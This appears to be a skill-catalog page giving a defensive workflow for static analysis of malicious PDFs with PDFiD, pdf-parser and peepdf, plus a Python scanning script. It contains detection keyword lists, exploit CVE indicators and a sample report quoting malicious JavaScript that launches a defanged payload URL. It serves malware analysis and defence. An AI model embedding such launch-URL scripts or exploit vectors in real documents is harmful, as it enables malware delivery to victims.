malware analysis

Analyzing PDF Malware with PDFiD

Analyzes malicious PDF files using PDFiD, pdf-parser, and peepdf to identify embedded JavaScript, shellcode, exploits, and suspicious objects without opening the document. Determines the attack vector and extracts embedded payloads for further analysis. Activates for requests involving PDF malware analysis, malicious document analysis, PDF exploit investigation, or suspicious attachment triage.

document-malwaremalwarepdf-analysispdfidstatic-analysis
Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-Skills
Framework mappings

When to Use

  • A suspicious PDF attachment has been flagged by email security or reported by a user
  • You need to determine if a PDF contains embedded JavaScript, shellcode, or exploit code
  • Triaging PDF documents before opening them in a sandbox or analysis environment
  • Extracting embedded executables, scripts, or URLs from malicious PDF objects
  • Analyzing PDF exploit kits targeting Adobe Reader or other PDF viewer vulnerabilities

Do not use for analyzing the rendered visual content of a PDF; this is for structural analysis of the PDF file format for malicious objects.

Prerequisites

  • Python 3.8+ with Didier Stevens' PDF tools installed (pip install pdfid pdf-parser)
  • peepdf installed for interactive PDF analysis (pip install peepdf)
  • pdftotext from poppler-utils for extracting text content safely
  • YARA with PDF-specific rules for malware family identification
  • Isolated analysis VM without a PDF reader installed (prevent accidental opening)
  • CyberChef for decoding embedded Base64, hex, or deflate streams

Workflow

Step 1: Initial Triage with PDFiD

Scan the PDF for suspicious keywords and structures:

# Run PDFiD to identify suspicious elements
pdfid suspect.pdf
 
# Expected output analysis:
# /JS           - JavaScript (HIGH risk)
# /JavaScript   - JavaScript object (HIGH risk)
# /AA           - Auto-Action triggered on open (HIGH risk)
# /OpenAction   - Action on document open (HIGH risk)
# /Launch       - Launch external application (HIGH risk)
# /EmbeddedFile - Embedded file (MEDIUM risk)
# /RichMedia    - Flash content (MEDIUM risk)
# /ObjStm       - Object stream (used for obfuscation)
# /URI          - URL reference (contextual risk)
# /AcroForm     - Interactive form (MEDIUM risk)
 
# Run with extra detail
pdfid -e suspect.pdf
 
# Run with disarming (rename suspicious keywords)
pdfid -d suspect.pdf
PDFiD Risk Assessment:
━━━━━━━━━━━━━━━━━━━━━
HIGH RISK indicators (any count > 0):
  /JS, /JavaScript  -> Embedded JavaScript code
  /AA               -> Automatic Action (triggers without user interaction)
  /OpenAction       -> Code runs when document is opened
  /Launch           -> Can launch external executables
  /JBIG2Decode      -> Associated with CVE-2009-0658 exploit
 
MEDIUM RISK indicators:
  /EmbeddedFile     -> Contains embedded files (could be EXE/DLL)
  /RichMedia        -> Flash/multimedia (Flash exploits)
  /AcroForm         -> Form with possible submit action
  /XFA              -> XML Forms Architecture (complex attack surface)
 
LOW RISK indicators:
  /ObjStm           -> Object streams (obfuscation technique)
  /URI              -> External URL references
  /Page             -> Number of pages (context only)

Step 2: Parse PDF Structure with pdf-parser

Examine suspicious objects identified by PDFiD:

# List all objects referencing JavaScript
pdf-parser --search "/JavaScript" suspect.pdf
pdf-parser --search "/JS" suspect.pdf
 
# List all objects with OpenAction
pdf-parser --search "/OpenAction" suspect.pdf
 
# Extract a specific object by ID (example: object 5)
pdf-parser --object 5 suspect.pdf
 
# Extract and decompress stream content
pdf-parser --object 5 --filter --raw suspect.pdf
 
# Search for embedded files
pdf-parser --search "/EmbeddedFile" suspect.pdf
 
# List all objects with their types
pdf-parser --stats suspect.pdf

Step 3: Extract and Analyze Embedded JavaScript

Pull out JavaScript code from PDF objects:

# Extract JavaScript using pdf-parser
pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt
 
# Alternative: Use peepdf for interactive JavaScript extraction
peepdf -f -i suspect.pdf << 'EOF'
js_analyse
EOF
 
# peepdf interactive commands for JS analysis:
# js_analyse          - Extract and show all JavaScript code
# js_beautify         - Format extracted JavaScript
# js_eval <object>    - Evaluate JavaScript in sandboxed environment
# object <id>         - Display object content
# rawobject <id>      - Display raw object bytes
# stream <id>         - Display decompressed stream
# offsets             - Show object offsets in file
# Python script for comprehensive PDF JavaScript extraction
import subprocess
import re
 
# Extract all streams and search for JavaScript
result = subprocess.run(
    ["pdf-parser", "--stats", "suspect.pdf"],
    capture_output=True, text=True
)
 
# Find object IDs containing JavaScript references
js_objects = []
for line in result.stdout.split('\n'):
    if '/JavaScript' in line or '/JS' in line:
        obj_id = re.search(r'obj (\d+)', line)
        if obj_id:
            js_objects.append(obj_id.group(1))
 
# Extract each JavaScript-containing object
for obj_id in js_objects:
    result = subprocess.run(
        ["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"],
        capture_output=True, text=True
    )
    print(f"\n=== Object {obj_id} ===")
    print(result.stdout[:2000])

Step 4: Analyze Embedded Shellcode

Extract and examine shellcode from PDF exploits:

# Extract raw stream data for shellcode analysis
pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf
 
# Analyze shellcode with scdbg (shellcode debugger)
scdbg /f shellcode.bin
 
# Alternative: Use speakeasy for shellcode emulation
python3 -c "
import speakeasy
 
se = speakeasy.Speakeasy()
sc_addr = se.load_shellcode('shellcode.bin', arch='x86')
se.run_shellcode(sc_addr, count=1000)
 
# Review API calls made by shellcode
for event in se.get_report()['api_calls']:
    print(f\"{event['api']}: {event['args']}\")
"
 
# Use CyberChef to decode hex/base64 encoded shellcode
# Input: Extracted stream data
# Recipe: From Hex -> Disassemble x86

Step 5: Extract Embedded Files and URLs

Pull out embedded executables and linked resources:

# Extract embedded files from PDF
import subprocess
import hashlib
 
# Find embedded file objects
result = subprocess.run(
    ["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"],
    capture_output=True
)
 
# Extract embedded PE files by searching for MZ header
with open("suspect.pdf", "rb") as f:
    data = f.read()
 
# Search for embedded PE files
offset = 0
while True:
    pos = data.find(b'MZ', offset)
    if pos == -1:
        break
    # Verify PE signature
    if pos + 0x3C < len(data):
        pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')
        if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':
            print(f"Embedded PE found at offset 0x{pos:X}")
            # Extract (estimate size or use PE header)
            embedded = data[pos:pos+100000]  # Initial extraction
            sha256 = hashlib.sha256(embedded).hexdigest()
            with open(f"embedded_{pos:X}.exe", "wb") as out:
                out.write(embedded)
            print(f"  SHA-256: {sha256}")
    offset = pos + 1
 
# Extract URLs from PDF
result = subprocess.run(
    ["pdf-parser", "--search", "/URI", "--raw", "suspect.pdf"],
    capture_output=True, text=True
)
urls = re.findall(r'(https?://[^\s<>"]+)', result.stdout)
for url in set(urls):
    print(f"URL: {url}")

Step 6: Generate Analysis Report

Document all findings from the PDF analysis:

Analysis should cover:
- PDFiD triage results (suspicious keyword counts)
- PDF structure anomalies (object streams, cross-reference issues)
- Extracted JavaScript code (deobfuscated if needed)
- Shellcode analysis results (API calls, network indicators)
- Embedded files extracted with hashes
- URLs and external references
- CVE identification if a known exploit is detected
- YARA rule matches against known PDF malware families

Key Concepts

Term Definition
PDF Object Basic building block of a PDF file; objects can contain streams (compressed data), dictionaries, arrays, and references to other objects
OpenAction PDF dictionary entry specifying an action to execute when the document is opened; commonly used to trigger JavaScript exploits
PDF Stream Compressed data within a PDF object that can contain JavaScript, images, embedded files, or shellcode; typically FlateDecode compressed
FlateDecode Zlib/deflate compression filter applied to PDF streams; must be decompressed to analyze contents
ObjStm (Object Stream) PDF feature storing multiple objects within a single compressed stream; used by malware to hide suspicious objects from simple parsers
JBIG2 Image compression standard in PDFs; historical source of exploits (CVE-2009-0658, CVE-2021-30860 FORCEDENTRY)
PDF JavaScript API Adobe-specific JavaScript extensions available in PDF documents for form manipulation, network access, and OS interaction

Tools & Systems

  • PDFiD: Didier Stevens' tool for scanning PDF documents for suspicious keywords and structures without parsing the full document
  • pdf-parser: Companion tool to PDFiD for detailed PDF object extraction, stream decompression, and content analysis
  • peepdf: Python-based PDF analysis tool providing interactive shell for object inspection and JavaScript extraction
  • QPDF: PDF transformation tool for linearizing, decrypting, and restructuring PDFs for easier analysis
  • scdbg: Shellcode analysis tool that emulates x86 shellcode execution and logs API calls

Common Scenarios

Scenario: Triaging a Phishing PDF with Embedded JavaScript

Context: Email gateway flagged a PDF attachment with suspicious JavaScript indicators. The security team needs to determine if it contains an exploit or a social engineering redirect.

Approach:

  1. Run PDFiD to confirm /JS, /JavaScript, and /OpenAction presence and counts
  2. Use pdf-parser to extract the OpenAction object and follow its reference chain
  3. Extract the JavaScript code from the referenced stream object (apply FlateDecode filter)
  4. Deobfuscate the JavaScript (decode hex strings, resolve eval chains)
  5. Determine if the script exploits a PDF reader vulnerability (check for heap spray, ROP chains) or performs a redirect
  6. Extract all URLs, IPs, and embedded files as IOCs
  7. Classify the sample: exploit (specific CVE) or social engineering (redirect/phishing)

Pitfalls:

  • Opening the PDF in a standard reader instead of analyzing it with command-line tools
  • Missing JavaScript hidden inside Object Streams (/ObjStm) that PDFiD detects but simple parsers miss
  • Not decompressing streams before analysis (FlateDecode, ASCIIHexDecode, ASCII85Decode filters)
  • Assuming the absence of /JS means no JavaScript; code can be embedded in form fields (/AcroForm with /XFA)

Output Format

PDF MALWARE ANALYSIS REPORT
==============================
File:             invoice_2025.pdf
SHA-256:          e3b0c44298fc1c149afbf4c8996fb924...
File Size:        45,312 bytes
PDF Version:      1.7
 
PDFID TRIAGE
/JS:              1  [HIGH RISK]
/JavaScript:      1  [HIGH RISK]
/OpenAction:      1  [HIGH RISK]
/EmbeddedFile:    0
/Launch:          0
/URI:             2
/Page:            1
/ObjStm:          1  [OBFUSCATION]
 
SUSPICIOUS OBJECTS
Object 5:        /OpenAction -> references Object 8
Object 8:        /JavaScript stream (FlateDecode, 2,847 bytes decompressed)
Object 12:       /ObjStm containing objects 15-18
 
EXTRACTED JAVASCRIPT
Layer 1:          eval(unescape("%68%65%6C%6C%6F"))
Layer 2:          var url = "hxxp://malicious[.]com/payload.exe";
                  app.launchURL(url, true);
                  // Social engineering redirect, not exploit
 
EXTRACTED IOCs
URLs:             hxxp://malicious[.]com/payload.exe
                  hxxps://fake-login[.]com/adobe/verify
Domains:          malicious[.]com, fake-login[.]com
 
CLASSIFICATION
Type:             Social Engineering (URL redirect)
CVE:              None (no exploit code detected)
Risk:             HIGH (downloads executable payload)
Family:           Generic PDF Dropper
Source materials

References and resources

Everything below is rendered for inspection. Script files are read-only and never run.

References 1

api-reference.md3.4 KB

API Reference: PDF Malware Analysis Tools

PDFiD - PDF Keyword Scanner

Syntax

pdfid.py document.pdf
pdfid.py -n document.pdf     # Show all keywords (including zero counts)
pdfid.py -e document.pdf     # Extra data (entropy)
pdfid.py -f document.pdf     # Force scan (ignore header)

Suspicious Keywords

Keyword Risk Description
/JS HIGH JavaScript code
/JavaScript HIGH JavaScript action
/AA HIGH Additional Actions (auto-execute)
/OpenAction HIGH Action on document open
/Launch HIGH Launch external application
/EmbeddedFile MEDIUM Embedded file object
/AcroForm MEDIUM Interactive form
/JBIG2Decode HIGH JBIG2 exploit vector (CVE-2009-0658)
/RichMedia MEDIUM Flash/multimedia content
/XFA MEDIUM XML Forms (script capable)
/ObjStm LOW Object streams (can hide objects)

Output Format

PDF Header: %PDF-1.7
 obj                   45
 endobj                45
 stream                12
 /JS                    2
 /JavaScript            1
 /OpenAction            1
 /EmbeddedFile          0

pdf-parser.py - PDF Object Parser

Syntax

pdf-parser.py document.pdf                      # List all objects
pdf-parser.py -o 5 document.pdf                 # Show object 5
pdf-parser.py -s "/JS" document.pdf             # Search for keyword
pdf-parser.py -f document.pdf                   # Filter streams
pdf-parser.py -c document.pdf                   # Show raw content
pdf-parser.py -d 5 document.pdf                 # Dump stream of object 5
pdf-parser.py --object 5 --filter document.pdf  # Decompress stream

peepdf - Interactive PDF Analysis

Syntax

peepdf -i document.pdf              # Interactive mode
peepdf -f document.pdf              # Force analysis
peepdf -l document.pdf              # Loose mode

Interactive Commands

info                    # Document summary
tree                    # Object tree
object 5                # Show object
stream 5                # Show stream content
js_analyse              # Analyze all JavaScript
extract js > output.js  # Extract JavaScript

Known PDF Exploit CVEs

CVE Component Description
CVE-2009-0658 JBIG2Decode Buffer overflow in JBIG2 decoder
CVE-2009-0927 Collab.getIcon JavaScript method exploit
CVE-2008-2992 util.printf Format string vulnerability
CVE-2010-0188 LibTIFF TIFF image processing overflow
CVE-2013-0640 XFA XML Forms Architecture exploit
CVE-2018-4990 EmbeddedFile Double-free in embedded files

YARA Rules for PDF Malware

Example Rule

rule PDF_Suspicious {
    meta:
        description = "PDF with JavaScript and auto-execution"
    strings:
        $pdf = "%PDF-"
        $js = "/JS" nocase
        $openaction = "/OpenAction"
        $launch = "/Launch"
    condition:
        $pdf at 0 and ($js and $openaction) or $launch
}

Python PDF Libraries

PyPDF2

from PyPDF2 import PdfReader
reader = PdfReader("document.pdf")
print(len(reader.pages))
for page in reader.pages:
    print(page.extract_text())

pikepdf

import pikepdf
pdf = pikepdf.open("document.pdf")
for obj_num in pdf.objects:
    obj = pdf.get_object(obj_num)
    if "/JS" in str(obj):
        print(f"JavaScript in object {obj_num}")

Scripts 1

agent.py8.1 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
"""PDF malware analysis agent using pdfid concepts and pdf-parser for object extraction."""

import re
import os
import sys
import hashlib
import zlib


def compute_hash(filepath):
    """Compute SHA-256 hash of a file."""
    sha256 = hashlib.sha256()
    with open(filepath, "rb") as f:
        for chunk in iter(lambda: f.read(65536), b""):
            sha256.update(chunk)
    return sha256.hexdigest()


PDF_SUSPICIOUS_KEYWORDS = {
    "/JS": "JavaScript (embedded script execution)",
    "/JavaScript": "JavaScript action",
    "/AA": "Additional Actions (auto-execute triggers)",
    "/OpenAction": "Action on document open",
    "/AcroForm": "Interactive form (can contain JavaScript)",
    "/JBIG2Decode": "JBIG2 decoder (CVE-2009-0658 exploit vector)",
    "/RichMedia": "Rich media / Flash content",
    "/Launch": "Launch action (execute external file)",
    "/EmbeddedFile": "Embedded file (potential payload)",
    "/XFA": "XML Forms Architecture (script execution)",
    "/URI": "URI action (external link)",
    "/SubmitForm": "Form submission (data exfiltration)",
    "/ObjStm": "Object Stream (can hide objects from basic parsers)",
}


def scan_pdf_keywords(filepath):
    """Scan a PDF file for suspicious keywords similar to pdfid."""
    with open(filepath, "rb") as f:
        data = f.read()

    text = data.decode("latin-1", errors="replace")
    results = {}
    for keyword, description in PDF_SUSPICIOUS_KEYWORDS.items():
        count = text.count(keyword)
        if count > 0:
            results[keyword] = {"count": count, "description": description}

    # Count standard PDF structure elements
    structure = {
        "obj": len(re.findall(r"\d+ \d+ obj", text)),
        "endobj": text.count("endobj"),
        "stream": text.count("stream"),
        "endstream": text.count("endstream"),
        "xref": text.count("xref"),
        "trailer": text.count("trailer"),
        "startxref": text.count("startxref"),
        "page_count": len(re.findall(r"/Type\s*/Page[^s]", text)),
        "encrypted": 1 if "/Encrypt" in text else 0,
    }
    return results, structure


def extract_pdf_version(filepath):
    """Extract the PDF version from the header."""
    with open(filepath, "rb") as f:
        header = f.read(20)
    match = re.search(rb"%PDF-(\d+\.\d+)", header)
    return match.group(1).decode() if match else "unknown"


def find_stream_objects(filepath):
    """Find and extract stream objects from the PDF."""
    with open(filepath, "rb") as f:
        data = f.read()

    streams = []
    pattern = rb"(\d+)\s+(\d+)\s+obj.*?stream\r?\n(.*?)endstream"
    for match in re.finditer(pattern, data, re.DOTALL):
        obj_num = int(match.group(1))
        gen_num = int(match.group(2))
        stream_data = match.group(3)
        decoded = None
        try:
            decoded = zlib.decompress(stream_data)
        except zlib.error:
            pass
        streams.append({
            "object": f"{obj_num} {gen_num}",
            "raw_size": len(stream_data),
            "decoded_size": len(decoded) if decoded else 0,
            "decodable": decoded is not None,
            "preview": (decoded[:200] if decoded else stream_data[:200]).decode(
                "latin-1", errors="replace"),
        })
    return streams


def extract_javascript(filepath):
    """Extract JavaScript code from PDF objects."""
    with open(filepath, "rb") as f:
        data = f.read()
    text = data.decode("latin-1", errors="replace")

    js_blocks = []
    # Look for JavaScript in stream objects
    js_pattern = re.compile(r"/JS\s*\((.*?)\)", re.DOTALL)
    for match in js_pattern.finditer(text):
        js_blocks.append({"type": "inline", "code": match.group(1)[:500]})

    # Look for JavaScript in hex-encoded strings
    hex_pattern = re.compile(r"/JS\s*<([0-9A-Fa-f]+)>")
    for match in hex_pattern.finditer(text):
        try:
            decoded = bytes.fromhex(match.group(1)).decode("utf-8", errors="replace")
            js_blocks.append({"type": "hex_encoded", "code": decoded[:500]})
        except ValueError:
            pass
    return js_blocks


def extract_urls(filepath):
    """Extract URLs from the PDF content."""
    with open(filepath, "rb") as f:
        data = f.read()
    text = data.decode("latin-1", errors="replace")
    urls = list(set(re.findall(r"https?://[^\s<>\"')\]]+", text)))
    return urls


def detect_exploits(keywords, streams):
    """Check for known PDF exploit indicators."""
    exploits = []
    if "/JBIG2Decode" in keywords:
        exploits.append({
            "cve": "CVE-2009-0658",
            "description": "JBIG2 decoder vulnerability in Adobe Reader",
            "confidence": "MEDIUM",
        })
    for stream in streams:
        preview = stream.get("preview", "").lower()
        if "shellcode" in preview or "\\x90\\x90" in preview:
            exploits.append({
                "cve": "Generic shellcode",
                "description": "Potential shellcode detected in stream",
                "confidence": "HIGH",
            })
        if "util.printf" in preview or "collab.geticon" in preview:
            exploits.append({
                "cve": "CVE-2008-2992 / CVE-2009-0927",
                "description": "Known Adobe Reader JavaScript exploits",
                "confidence": "HIGH",
            })
    return exploits


def calculate_risk_score(keywords, structure, exploits, js_blocks):
    """Calculate a risk score for the PDF."""
    score = 0
    if "/JS" in keywords or "/JavaScript" in keywords:
        score += 30
    if "/OpenAction" in keywords or "/AA" in keywords:
        score += 20
    if "/Launch" in keywords:
        score += 25
    if "/EmbeddedFile" in keywords:
        score += 15
    if "/JBIG2Decode" in keywords:
        score += 20
    if structure.get("encrypted"):
        score += 10
    score += len(exploits) * 20
    score += len(js_blocks) * 10
    return min(score, 100)


def generate_report(filepath, keywords, structure, streams, js_blocks,
                    urls, exploits, risk_score):
    """Generate PDF malware analysis report."""
    return {
        "file": filepath,
        "sha256": compute_hash(filepath),
        "size": os.path.getsize(filepath),
        "pdf_version": extract_pdf_version(filepath),
        "structure": structure,
        "suspicious_keywords": keywords,
        "streams": len(streams),
        "javascript_blocks": len(js_blocks),
        "urls_found": len(urls),
        "exploit_indicators": exploits,
        "risk_score": risk_score,
        "risk_level": "HIGH" if risk_score >= 60 else "MEDIUM" if risk_score >= 30 else "LOW",
    }


if __name__ == "__main__":
    print("=" * 60)
    print("PDF Malware Analysis Agent")
    print("Keyword scanning, JavaScript extraction, exploit detection")
    print("=" * 60)

    target = sys.argv[1] if len(sys.argv) > 1 else None

    if target and os.path.exists(target):
        print(f"\n[*] Analyzing: {target}")
        print(f"[*] SHA-256: {compute_hash(target)}")
        print(f"[*] PDF version: {extract_pdf_version(target)}")

        print("\n--- Suspicious Keywords (pdfid-style) ---")
        keywords, structure = scan_pdf_keywords(target)
        for kw, info in keywords.items():
            print(f"  [!] {kw}: {info['count']}x - {info['description']}")

        print(f"\n--- Structure ---")
        for key, val in structure.items():
            print(f"  {key}: {val}")

        print("\n--- Stream Objects ---")
        streams = find_stream_objects(target)
        print(f"  Found: {len(streams)} streams")

        print("\n--- JavaScript Extraction ---")
        js = extract_javascript(target)
        for j in js:
            print(f"  [{j['type']}] {j['code'][:100]}...")

        print("\n--- URLs ---")
        urls = extract_urls(target)
        for u in urls[:10]:
            print(f"  {u}")

        print("\n--- Exploit Detection ---")
        exploits = detect_exploits(keywords, streams)
        for e in exploits:
            print(f"  [{e['confidence']}] {e['cve']}: {e['description']}")

        risk = calculate_risk_score(keywords, structure, exploits, js)
        print(f"\n[*] Risk Score: {risk}/100")
    else:
        print(f"\n[DEMO] Usage: python agent.py <document.pdf>")
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